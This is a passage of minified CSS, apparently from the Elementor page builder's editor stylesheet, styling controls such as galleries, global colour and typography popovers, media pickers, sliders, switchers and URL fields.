var(--e-a-border-bold); border-radius: 3px; } .elementor-control-type-gallery .elementor-control-gallery-status { font-size: 12px; height: 27px; padding-inline-start: 10px; border-block-end: var(--e-a-border-bold); display: flex; } .elementor-control-type-gallery .elementor-control-gallery-status > * { display: flex; align-items: center; } .elementor-control-type-gallery .elementor-control-gallery-status-title { flex-grow: 1; } .elementor-control-type-gallery .elementor-control-gallery-content { position: relative; overflow: hidden; } .elementor-control-type-gallery .elementor-control-gallery-thumbnails { display: grid; grid-template-columns: repeat(auto-fill, minmax(48px, 1fr)); grid-gap: 10px; cursor: pointer; padding: 10px; } .elementor-control-type-gallery .elementor-control-gallery-thumbnails:hover + .elementor-control-gallery-edit, .elementor-control-type-gallery .elementor-control-gallery-thumbnails:focus + .elementor-control-gallery-edit { opacity: 1; } .elementor-control-type-gallery .elementor-control-gallery-thumbnail { width: 48px; height: 48px; -o-object-fit: cover; object-fit: cover; border: var(--e-a-border); } .elementor-control-type-gallery .elementor-control-gallery-thumbnail + .unoptimized__image { outline: 2px solid var(--e-a-btn-bg-danger-active); opacity: 0.6; } .elementor-control-type-gallery .elementor-control-gallery-edit { position: absolute; top: 0; bottom: 0; left: 0; right: 0; background-color: rgba(0, 0, 0, 0.2); padding: 10px; font-size: 11px; transition: all 0.3s ease-in-out; pointer-events: none; cursor: pointer; opacity: 0; } .elementor-control-type-gallery .elementor-control-gallery-edit span { position: absolute; top: 10px; left: 10px; width: 21px; height: 21px; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.5); box-shadow: 0 0 7px 0 rgba(0, 0, 0, 0.2); transition: var(--e-a-transition-hover); } .elementor-control-type-gallery .elementor-control-gallery-edit span i { font-size: 11px; padding: 5px; } .elementor-control-type-gallery .elementor-control-gallery-edit span:hover { background-color: rgba(0, 0, 0, 0.6); } .elementor-control-type-gallery .elementor-control-gallery-add { width: 48px; height: 48px; font-size: 14px; } .elementor-control-type-gallery .elementor-control-gallery-add i { margin: 0; } .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-clear, .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-thumbnails, .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-edit { display: none; } .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-content { padding: 10px; } .elementor-control-type-gallery.elementor-gallery-has-images .elementor-control-gallery-add { display: none; } .elementor-control-type-gallery.elementor-control-dynamic .elementor-control-gallery-clear { border-inline-start: var(--e-a-border); } .elementor-control-type-gallery .elementor-control-gallery-clear { color: currentColor; background-color: transparent; border: none; cursor: pointer; justify-content: center; } .elementor-control-type-gallery .elementor-control-gallery-clear:hover, .elementor-control-type-gallery .elementor-control-gallery-clear:focus { color: var(--e-a-color-danger); } .elementor-control-type-gallery .elementor-control-dynamic-switcher { border-width: 0; border-inline-start-width: 1px; border-block-end-width: 1px; border-radius: 0; } .e-global__popover { width: 288px; z-index: 1; font-size: 12px; padding-inline-start: 10px; } .e-global__popover-toggle { border: var(--e-a-border-bold); border-inline-end: 0; border-start-start-radius: 3px; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 0; display: flex; align-items: center; justify-content: center; cursor: pointer; transition: var(--e-a-transition-hover); } .e-global__popover-toggle:hover { background-color: var(--e-a-bg-hover); } .e-global__popover-toggle--active { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-active-bold); } .e-global__popover-container { box-shadow: var(--e-a-popover-shadow); border-radius: var(--e-a-border-radius); background-color: var(--e-a-bg-default); } .e-global__popover-title { padding: 15px 20px; font-weight: 500; border-block-end: var(--e-a-border); display: flex; } .e-global__popover-title > i { margin-inline-end: 5px; } .e-global__popover-title-text { flex-grow: 1; } .e-global__popover-info { margin-inline-end: 10px; display: inline-block; } .e-global__popover-info-tooltip { width: 270px; z-index: 1; background-color: rgba(0, 0, 0, 0.9); color: var(--e-a-color-white); padding: 20px; border-radius: 3px; } .e-global__popover-info-tooltip:after { content: ""; position: absolute; bottom: -17px; right: 16px; border: 10px solid transparent; border-block-start-color: rgba(0, 0, 0, 0.9); } .e-global__popover-info i { font-size: 13px; } .e-global__preview-items-container { max-height: 400px; overflow-y: auto; padding: 5px 0; } .e-global__preview-items-container::-webkit-scrollbar { width: 7px; } .e-global__preview-items-container::-webkit-scrollbar-thumb { background-color: #BABFC5; border-radius: 10px; } .e-global__manage-button { font-weight: 500; cursor: pointer; } .e-global__typography { padding-block: 10px; padding-inline: 35px 20px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .e-global__typography.e-global__preview-item--selected:before { font-family: "eicons"; font-size: 13px; content: "\e90e"; position: absolute; transform: translateY(-50%); top: 50%; inset-inline-start: 13px; } .e-global__color { padding: 10px 20px; display: flex; align-items: center; } .e-global__color-preview-container { height: 20px; width: 20px; border-radius: 3px; border: 1px solid rgba(0, 0, 0, 0.1); margin-inline-end: 10px; flex-shrink: 0; position: relative; } .e-global__color-preview-color, .e-global__color-preview-transparent-bg { border-radius: 3px; height: 100%; width: 100%; position: absolute; top: 0; left: 0; } .e-global__color-preview-transparent-bg { background-image: linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)), linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)); background-size: 12px 12px; background-position: 0 0, calc(12px / 2) calc(12px / 2); } .e-global__color-title { flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; padding-inline-end: 10px; } .e-global__color-hex { font-size: 10px; color: var(--e-a-color-txt-muted); } .e-global__color .pcr-button { background-color: var(--e-a-bg-default); } .e-global__color.e-global__preview-item--selected .e-global__color-preview-container { display: flex; justify-content: center; align-items: center; color: var(--e-a-color-white); } .e-global__color.e-global__preview-item--selected .e-global__color-preview-container:before { font-family: "eicons"; font-size: 13px; content: "\e90e"; text-shadow: 0 0 1px #000; z-index: 1; } .e-global__preview-item { cursor: pointer; position: relative; } .e-global__preview-item:hover { background-color: var(--e-a-bg-hover); } .e-global__confirm-delete i, .e-global__confirm-message-text i { color: var(--e-a-color-warning); } .e-global__confirm-input-wrapper { display: flex; align-items: center; border: var(--e-a-border); border-radius: var(--e-a-border-radius); margin: 15px 0; padding: 2px; } .e-global__confirm-input-wrapper input { font-family: var(--e-a-font-family); font-size: 12px; padding: 2px; border: 0; } .e-control-global .elementor-control-input-wrapper { display: flex; justify-content: flex-end; max-width: 135px; width: 100%; } .e-control-global.elementor-control .elementor-control-input-wrapper { display: flex; flex-direction: row; align-items: stretch; } .e-control-global .elementor-control-spinner { margin-inline-end: 4px; } .elementor-control-type-hidden { display: none !important; } .elementor-control-type-icon .select2-selection__rendered .eicon { margin-inline-end: 3px; } .elementor-control-type-image_dimensions .elementor-control-field-description { margin: 0 0 15px; line-height: 1.4; } .elementor-control-type-image_dimensions .elementor-control-input-wrapper { display: flex; align-items: flex-start; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field { width: 65px; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field input:focus + .elementor-image-dimensions-field-description { color: var(--e-a-color-txt); } .elementor-control-type-image_dimensions .elementor-image-dimensions-separator { width: 20px; text-align: center; padding-block-start: 4px; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field-description { display: block; margin-block-start: 5px; color: var(--e-a-color-txt-disabled); font-size: 10px; text-align: center; } .elementor-control-type-image_dimensions .elementor-image-dimensions-apply-button { margin-inline-start: auto; } .elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__remove, .elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__content__remove { display: none; } .elementor-control-media.e-media-empty-placeholder .e-control-image-size { display: none; } .elementor-control-media:not(.e-media-empty) .elementor-control-media__content__upload-button { display: none; } .elementor-control-media .eicon-plus-circle { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: var(--e-a-color-white); font-size: 20px; } .elementor-control-media__content__upload-button { background-color: var(--e-a-bg-active-bold); } .elementor-control-media__preview { height: 100%; background-size: cover; background-position: center; padding-block-end: 42.8571%; } .elementor-control-media-area { background-image: linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)), linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)); background-size: 16px 16px; background-position: 0 0, calc(16px / 2) calc(16px / 2); background-color: var(--e-a-bg-default); border: var(--e-a-border-bold); aspect-ratio: 21/9; } .elementor-control-media-area:not(:hover) .elementor-control-media__remove { display: none; } .elementor-control-media-area .eicon-video-camera { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: rgba(255, 255, 255, 0.7); font-size: 21px; } .elementor-control-media .elementor-control-media__content { aspect-ratio: 21/9; position: relative; cursor: pointer; overflow: hidden; } .elementor-control-media .elementor-control-media__content:hover:after { content: ""; position: absolute; top: 0; bottom: 0; left: 0; right: 0; background-color: rgba(0, 0, 0, 0.2); pointer-events: none; } .elementor-control-media .elementor-control-media__content:not(:hover) .elementor-control-media__tools { bottom: -30px; } .elementor-control-media__content { transition: all 0.2s ease-in-out; } .elementor-control-media__tools { position: absolute; bottom: 0; left: 0; right: 0; height: 27px; transition: all 0.2s ease-in-out; } .elementor-control-media__tools > *:not(:first-child) { margin-inline-start: 1px; } .elementor-control-media__tool { display: flex; align-items: center; justify-content: center; flex-grow: 1; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.9); font-size: 11px; transition: var(--e-a-transition-hover); } .elementor-control-media__tool:hover { background-color: rgba(0, 0, 0, 0.8); } .elementor-control-media__remove { display: flex; align-items: center; justify-content: center; transition: all 0.3s ease-in-out; } .elementor-control-media__content__remove { position: absolute; z-index: 1; top: 10px; left: 10px; width: 20px; height: 20px; font-size: 11px; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.5); border-radius: var(--e-border-radius); box-shadow: 0 0 7px 0 rgba(0, 0, 0, 0.2); transition: var(--e-a-transition-hover); } .elementor-control-media__content__remove:hover { background-color: rgba(0, 0, 0, 0.6); } .elementor-control-media.e-media-empty .elementor-control-file-area { display: none; } .elementor-control-media__warnings:empty { display: none; } .elementor-control-media__warnings:not(:empty) { margin-block-start: 10px; } .elementor-control-media__file { display: flex; justify-content: space-between; align-items: center; width: 100%; margin-block-start: 10px; border: var(--e-a-border); } .elementor-control-media__file__content { padding-inline-start: 5px; font-size: 12px; } .elementor-control-media__file__content__label { color: #9DA5AE; } .elementor-control-media__file__content__info { display: flex; align-items: center; font-weight: 500; } .elementor-control-media__file__content__info__icon { margin-inline-end: 5px; } .elementor-control-media__file__controls { display: flex; border-inline-start: var(--e-a-border); } .elementor-control-media__file__controls__upload-button, .elementor-control-media__file__controls__remove { width: 27px; height: 27px; cursor: pointer; align-items: center; } .elementor-control-media__file__controls__upload-button { display: flex; justify-content: center; } .elementor-control-media__file__controls__remove { border-inline-end: var(--e-a-border); } .elementor-control-media:not(.e-media-empty) .elementor-control-media__file__content__label { display: none; } .elementor-control-media.e-media-empty .elementor-control-media__file__content__info { display: none; } .elementor-control-media.e-media-empty .elementor-control-media__file__controls__remove { display: none; } .elementor-control-media .elementor-control-dynamic-switcher { border: none; border-radius: 0; background-color: rgba(0, 0, 0, 0.9); color: var(--e-a-color-white); } .elementor-control-media .elementor-control-dynamic-switcher:hover { background-color: rgba(0, 0, 0, 0.8); color: var(--e-a-color-white); } .elementor-control-media .e-control-image-size { display: flex; flex-direction: column; width: 100%; padding-block-start: 20px; } .elementor-control-media .e-control-image-size .elementor-control-input-wrapper { margin-inline-start: auto; } .elementor-control-type-media.elementor-control-dynamic-value .elementor-control-input-wrapper { border: none; } .elementor-control:not(.elementor-control-type-icons) .elementor-control-media__preview { background-color: var(--e-a-bg-active-bold); } .elementor-control-notice { display: flex; justify-content: flex-start; align-items: flex-start; gap: 8px; padding: 16px; border-radius: 3px; border: 1px solid var(--notice-control-color, var(--e-a-color-txt)); color: var(--e-a-color-txt); font-size: 12px; font-weight: 400; line-height: 1.5; text-align: start; margin-block-start: 10px; } .elementor-control-notice-type-info { --notice-control-color: var(--e-a-color-info); } .elementor-control-notice-type-success { --notice-control-color: var(--e-a-color-success); } .elementor-control-notice-type-warning { --notice-control-color: var(--e-a-color-warning); } .elementor-control-notice-type-danger { --notice-control-color: var(--e-a-color-danger); } .elementor-control-notice-icon { flex-basis: 18px; color: var(--notice-control-color); } .elementor-control-notice-main { display: flex; flex-direction: column; justify-content: flex-start; align-items: flex-start; gap: 6px; flex: 1; } .elementor-control-notice-main-heading { font-weight: 700; font-style: italic; } .elementor-control-notice-main-content { font-style: italic; line-height: 1.5; } .elementor-control-notice-main-actions { display: flex; gap: 10px; padding-block-start: 8px; } .elementor-control-notice-main a { color: inherit; font-weight: 700; cursor: pointer; } .elementor-control-notice-main a:hover, .elementor-control-notice-main a:focus { color: inherit; } .elementor-control-notice-dismiss { -webkit-appearance: none; -moz-appearance: none; appearance: none; background-color: transparent; border: 0; padding: 0; margin: 0; cursor: pointer; } .elementor-control-type-popover_toggle input { display: none; } .elementor-control-type-popover_toggle label { cursor: pointer; } .elementor-control-type-popover_toggle .elementor-control-input-wrapper { display: flex; flex-direction: row-reverse; align-items: center; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:checked + .elementor-control-popover-toggle-toggle-label { color: var(--e-a-color-txt-active); background-color: var(--e-a-bg-active-bold); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:not(:checked) ~ .elementor-control-popover-toggle-reset-label { display: none; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label { height: 27px; display: inline-flex; align-items: center; justify-content: center; border-radius: var(--e-a-border-radius); border: var(--e-a-border-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label { color: var(--e-a-color-txt-muted); margin-inline-end: 5px; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label:hover { color: var(--e-a-color-txt); } .elementor-controls-popover.e-controls-popover--typography { padding-block-start: 0; } .e-control-global .elementor-control-popover-toggle-toggle-label { border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); flex-shrink: 0; } .elementor-control-type-repeater .elementor-control:not(.elementor-control-type-tab) { padding-inline-start: 10px; padding-inline-end: 10px; padding-block-end: 10px; } .elementor-control-type-repeater.elementor-repeater-has-minimum-rows .elementor-repeater-tool-remove { display: none; } .elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-tool-duplicate, .elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-add { display: none; } .elementor-control-type-repeater .elementor-repeater-fields { margin: 10px 0; } .elementor-control-type-repeater .elementor-repeater-row-controls { border: var(--e-a-border-bold); border-block-start-width: 0; padding-block-start: 15px; } .elementor-control-type-repeater .elementor-repeater-row-controls:not(.editable) { display: none; } .elementor-control-type-repeater .elementor-repeater-row-tools { display: flex; align-items: center; width: 100%; border: 1px solid var(--e-a-border-color-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-repeater .elementor-repeater-row-tools > button { display: flex; align-items: center; justify-content: center; height: 40px; border: none; background-color: transparent; color: currentColor; cursor: pointer; } .elementor-control-type-repeater .elementor-repeater-row-tools > button:hover, .elementor-control-type-repeater .elementor-repeater-row-tools > button:focus { background-color: var(--e-a-bg-hover); } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title { flex: 1; justify-content: flex-start; padding: 0 10px; font-size: var(--control-title-size); white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title .eicon, .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title i, .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title svg { margin-inline-end: 5px; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title img[src$=svg] { width: 1em; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-tool { width: 40px; border-inline-start: 1px solid var(--e-a-border-color-bold); } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-handle-sortable { width: 10px; border-inline-end: 1px solid var(--e-a-border-color-bold); cursor: move; } .elementor-control-type-repeater .elementor-button-wrapper { text-align: center; padding-block-start: 5px; } #elementor-controls { padding-block-start: 15px; } .elementor-control-type-section { padding: 0; } .elementor-control-type-section.e-open { padding-block-end: 10px; } .elementor-control-type-section + .elementor-control:not(.elementor-control-type-section):before { display: none; } .elementor-control-type-section:not(:first-child):not(.elementor-control-type-section + .elementor-control-type-section) { margin-block-start: 25px; } .elementor-control-type-select .elementor-control-input-wrapper { position: relative; } .elementor-control-type-select .elementor-control-input-wrapper select { -webkit-appearance: none; -moz-appearance: none; appearance: none; font-size: var(--control-title-size); font-family: inherit; font-weight: inherit; font-style: inherit; text-transform: inherit; letter-spacing: inherit; line-height: inherit; flex-basis: 100%; padding-inline-start: 5px; padding-inline-end: 20px; cursor: pointer; } .elementor-control-type-select .elementor-control-input-wrapper select.e-select-placeholder { color: var(--e-a-color-txt-disabled); } .elementor-control-type-select .elementor-control-input-wrapper option.e-option-placeholder { display: none; } .elementor-control-type-select .elementor-control-input-wrapper:after { font-family: eicons; content: "\e8ad"; font-size: 12px; position: absolute; top: 50%; transform: translateY(-50%); left: 5px; pointer-events: none; } .elementor-control-type-select .elementor-control-field.elementor-control-field-select-small .elementor-control-input-wrapper { max-width: 80px; } .elementor-shadow-box .elementor-shadow-slider { margin-block-start: 10px; } .elementor-shadow-box .elementor-color-picker-wrapper .elementor-control-title { flex-grow: 1; } .elementor-control-type-slider.elementor-control-dynamic input { border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-slider .elementor-control-unit-2 { width: 21%; } .elementor-control-type-slider.elementor-control-type-slider--multiple .elementor-control-input-wrapper { display: block; } .elementor-control-type-slider--multiple { padding-block-end: 40px; } .elementor-control-type-slider--multiple .elementor-slider { margin-block-start: 12px; width: 98%; } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle { border-radius: 0; width: 10px; transform: translateY(calc(50% - 14px)) translateX(-4px); } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle:after { content: ""; position: absolute; top: 2px; height: 12px; width: 11px; transform: rotate(45deg); background-color: var(--e-a-color-white); border-radius: 3px; } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-lower:after { left: 5px; box-shadow: 2px -2px 3px 0px rgba(0, 0, 0, 0.1); } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-upper:after { right: 5px; box-shadow: -2px 2px 3px 0px rgba(0, 0, 0, 0.1); } .elementor-control-type-slider .elementor-control-dynamic-switcher { border-inline-start-width: 0; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-slider .elementor-control-input-wrapper { display: flex; align-items: center; } .elementor-control-type-slider .elementor-dynamic-cover { margin-block-start: 10px; } .elementor-control-type-slider.e-units-custom .elementor-slider { display: none; } .elementor-control-type-slider.e-units-custom .elementor-slider-input { width: 100%; margin: 0; transition: none; } .elementor-slider { flex-grow: 1; height: 4px; background-color: var(--e-a-border-color-bold); border-radius: 5px; position: relative; cursor: pointer; } .elementor-slider-input { width: 21%; min-width: 54px; margin-inline-start: 12px; transition: width 0.3s ease-in-out; } .elementor-slider__extra { position: relative; } .elementor-slider__labels { display: flex; justify-content: space-between; } .elementor-slider__label { font-size: 9px; color: var(--e-a-color-txt-disabled); } .elementor-slider__scales { position: absolute; display: flex; justify-content: space-evenly; width: 100%; margin-block-start: 4px; } .elementor-slider__scale { width: 1px; height: 21px; background-color: var(--e-a-border-color-focus); } .elementor-slider .noUi-handle { height: 16px; width: 16px; background-color: var(--e-a-color-white); left: 0; transform: translateY(calc(50% - 14px)) translateX(-8px); position: absolute; box-shadow: 0 1px 5px rgba(0, 0, 0, 0.3); border-radius: 50%; } .elementor-slider .noUi-connects { position: absolute; width: 100%; height: 4px; } .elementor-slider .noUi-connect { position: absolute; z-index: 0; top: 0; left: 0; height: 100%; width: 100%; will-change: transform; transform-origin: 0 0; background-color: var(--e-a-border-color-focus); } .elementor-slider .noUi-tooltip { position: absolute; top: calc(100% + 5px); left: calc(50% - 4px); transform: translateX(-50%); font-size: 10px; } .elementor-control-type-structure .elementor-control-field { display: initial; } .elementor-control-type-structure .elementor-control-structure-preset { padding: 3px; border-radius: var(--e-border-radius); display: inline-block; cursor: pointer; height: 50px; } .elementor-control-type-structure .elementor-control-structure-preset svg { height: 100%; } .elementor-control-type-structure .elementor-control-structure-preset path { fill: var(--e-a-border-color-bold); } .elementor-control-type-structure .elementor-control-structure-reset { padding: 15px 20px 0; font-size: 11px; cursor: pointer; color: var(--e-a-color-txt-muted); border-block-start: var(--e-a-border); margin: 0 -20px; } .elementor-control-type-structure .elementor-control-structure-reset:hover { color: var(--e-a-color-txt); } .elementor-control-type-structure .elementor-control-structure-title { margin: 10px -20px 0; } .elementor-control-type-structure .elementor-control-structure-title:before { height: 10px; box-shadow: inset 0 2px 4px rgba(127, 127, 127, 0.1); } .elementor-control-type-structure .elementor-control-structure-presets { display: flex; flex-wrap: wrap; justify-content: space-between; } .elementor-control-type-structure .elementor-control-structure-presets input { display: none; } .elementor-control-type-structure .elementor-control-structure-presets input:checked + .elementor-control-structure-preset path { fill: var(--e-a-border-color-focus); } .elementor-control-type-structure .elementor-control-structure-preset-wrapper { margin-block-end: 15px; } .elementor-control-type-structure .elementor-control-structure-preset-title { text-align: center; padding-block-start: 5px; font-style: italic; font-size: 11px; color: #9DA5AE; } .elementor-control-type-switcher .elementor-control-input-wrapper { text-align: end; } .elementor-control-type-switcher .elementor-switch { position: relative; display: inline-block; vertical-align: top; height: 20px; background-color: var(--e-a-bg-default); border-radius: 18px; cursor: pointer; } .elementor-control-type-switcher .elementor-switch-input { display: none; } .elementor-control-type-switcher .elementor-switch-label { position: relative; display: block; height: inherit; font-size: 10px; background: var(--e-a-bg-active-bold); border-radius: inherit; transition: 0.15s ease-out; transition-property: opacity, background; } .elementor-control-type-switcher .elementor-switch-label:before, .elementor-control-type-switcher .elementor-switch-label:after { position: absolute; top: 0; width: 50%; text-align: center; line-height: 20px; transition: inherit; } .elementor-control-type-switcher .elementor-switch-label:before { content: attr(data-off); right: 5px; color: var(--e-a-color-txt-muted); } .elementor-control-type-switcher .elementor-switch-label:after { content: attr(data-on); left: 5px; color: var(--e-a-btn-color); opacity: 0; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label { background: var(--e-a-btn-bg-primary); } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label:before { opacity: 0; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label:after { opacity: 1; } .elementor-control-type-switcher .elementor-switch-handle { position: absolute; top: 1px; left: 1px; width: 18px; height: 18px; background: white; border-radius: 10px; transition: left 0.15s ease-out; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-handle { left: initial; right: 1px; } .elementor-control-type-tabs { display: flex; font-size: var(--control-title-size); } .elementor-control-type-tab { text-align: center; width: 100%; padding: 0; line-height: 25px; border-block-start: var(--e-a-border-bold); border-block-end: var(--e-a-border-bold); border-inline-end: var(--e-a-border-bold); transition: var(--e-a-transition-hover); cursor: pointer; } .elementor-control-type-tab:first-child { border-inline-start: var(--e-a-border-bold); border-start-start-radius: var(--e-a-border-radius); border-end-start-radius: var(--e-a-border-radius); } .elementor-control-type-tab:last-child { border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-tab:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-tab.e-tab-active { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); } .e-tab-close { display: none !important; } .elementor-control-type-textarea .elementor-control-dynamic-switcher, .elementor-control-type-code .elementor-control-dynamic-switcher { border-inline-start-width: 1px; border-start-start-radius: 0; border-start-end-radius: 0; border-end-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); } .elementor-control-type-textarea:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher, .elementor-control-type-code:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher { position: absolute; top: 0; left: 0; z-index: 1; } .elementor-control-type-textarea .elementor-control-input-wrapper, .elementor-control-type-code .elementor-control-input-wrapper { position: relative; } .elementor-control-type-textarea textarea, .elementor-control-type-code textarea { display: block; font-family: inherit; } .elementor-control-type-textarea textarea:focus + .elementor-control-dynamic-switcher, .elementor-control-type-code textarea:focus + .elementor-control-dynamic-switcher { display: none; } .elementor-control-type-textarea pre:focus-within + .elementor-control-dynamic-switcher, .elementor-control-type-code pre:focus-within + .elementor-control-dynamic-switcher { display: none; } .elementor-control-type-url .elementor-control-field { position: relative; } .elementor-control-type-url .elementor-control-input-wrapper { display: flex; } .elementor-control-type-url.elementor-control-dynamic .elementor-control-url-more-options input { border-radius: var(--e-a-border-radius); } .elementor-control-type-url.elementor-control-dynamic-value .e-input-style { border-start-end-radius: 0; border-end-end-radius: 0; } .elementor-control-type-url.elementor-control-dynamic-value .elementor-control-url-more { border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-url .elementor-control-url-more { display: flex; align-items: center; justify-content: center; flex-shrink: 0; border: var(--e-a-border-bold); color: currentColor; background-color: transparent; border-inline-start-width: 0; cursor: pointer; } .elementor-control-type-url .elementor-control-url-more i { font-size: 12px; } .elementor-control-type-url .elementor-control-url-more-options { display: none; padding-block-start: 10px; } .elementor-control-type-url .elementor-control-url-more-options .elementor-control-field-description { margin-block-start: 10px; } .elementor-control-type-url .elementor-control-url-more:hover { color: var(--e-a-color-txt-hover); } .elementor-control-type-url .elementor-control-url-more:focus { color: var(--e-a-color-txt-active); border-color: var(--e-a-border-color-focus); } .elementor-control-type-url .elementor-control-url-option { display: flex; align-items: center; } .elementor-control-type-url .elementor-control-url-option:not(:last-child) { padding-block-end: 10px; } .elementor-control-type-url .elementor-control-url-option input, .elementor-control-type-url .elementor-control-url-option label { cursor: pointer; } .elementor-control-type-url .elementor-control-url-autocomplete-spinner { display: none; position: absolute; top: 5px; right: 0; width: 10px; height: 10px; font-size: 10px; color: var(--e-a-color-txt-disabled); } .elementor-control-type-url .elementor-control-url__custom-attributes label { font-size: var(--control-title-size); } .elementor-control-type-url .elementor-control-url__custom-attributes input { width: 100%; margin-block-start: 10px; } .elementor-control-type-url .elementor-input:focus ~ div { border-color: var(--e-a-border-color-focus); } .elementor-autocomplete-menu { position: absolute; background: var(--e-a-bg-default); border: var(--e-a-border); margin: 0; list-style: none; padding: 4px 0; height: auto; width: 100%; min-width: 260px; max-width: 300px; max-height: 200px; overflow-y: auto; border-radius: 3px; transition: var(--e-a-transition-hover); cursor: default; z-index: 1; } .elementor-autocomplete-menu .ui-menu-item { display: flex; justify-content: space-between; align-self: baseline; padding: 5px 8px; font-size: 12px; width: 100%; line-height: 1.2; cursor: pointer; } .elementor-autocomplete-menu .ui-menu-item.ui-state-hover, .elementor-autocomplete-menu .ui-menu-item.ui-state-active, .elementor-autocomplete-menu .ui-menu-item.ui-state-focus { background: var(--e-a-bg-hover); } .elementor-autocomplete-menu .elementor-autocomplete-item-info { font-size: 10px; padding-block-start: 2px; } .elementor-control-type-wp_widget .widget-inside { line-height: 2; background-color: inherit; display: block; } .elementor-control-type-wp_widget .quicktags-toolbar input { width: auto; } .elementor-control-type-wysiwyg * { box-sizing: content-box; } .elementor-control-type-wysiwyg .wp-editor-container { border: var(--e-a-border); } .elementor-control-type-wysiwyg .wp-editor-tabs { border: var(--e-a-border-bold); border-block-end: none; border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: 0; border-end-start-radius: 0; } .elementor-control-type-wysiwyg .wp-editor-tabs button:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-wysiwyg #insert-media-button { height: initial; line-height: 24px; font-size: 10px; color: var(--e-a-color-txt); border-color: var(--e-a-border-color-bold); background-color: var(--e-a-bg-default); min-height: initial; } .elementor-control-type-wysiwyg .ed_button { height: 22px; width: initial; } .elementor-control-type-wysiwyg .wp-media-buttons-icon { height: 14px; margin: 0; } .elementor-control-type-wysiwyg .wp-media-buttons-icon:before { font-size: 14px; } .elementor-control-type-wysiwyg .wp-switch-editor { position: static; border: none; margin: 0; color: var(--e-a-color-txt); font-size: 10px; padding: 3px 9px 4px; } .elementor-control-type-wysiwyg .switch-html { border: solid var(--e-a-border-color-bold); border-width: 0 1px; } .elementor-control-type-wysiwyg .html-active .switch-tmce { background-color: transparent; } .elementor-control-type-wysiwyg .html-active .switch-html { background-color: var(--e-a-bg-active); } .elementor-control-type-wysiwyg .tmce-active .switch-tmce { background-color: var(--e-a-bg-active); } .elementor-control-type-wysiwyg .tmce-active .switch-html { background-color: transparent; } .elementor-control-type-wysiwyg .mce-toolbar-grp, .elementor-control-type-wysiwyg .quicktags-toolbar { background-color: var(--e-a-bg-default); } .elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox { background-color: var(--e-a-bg-default); } .elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group 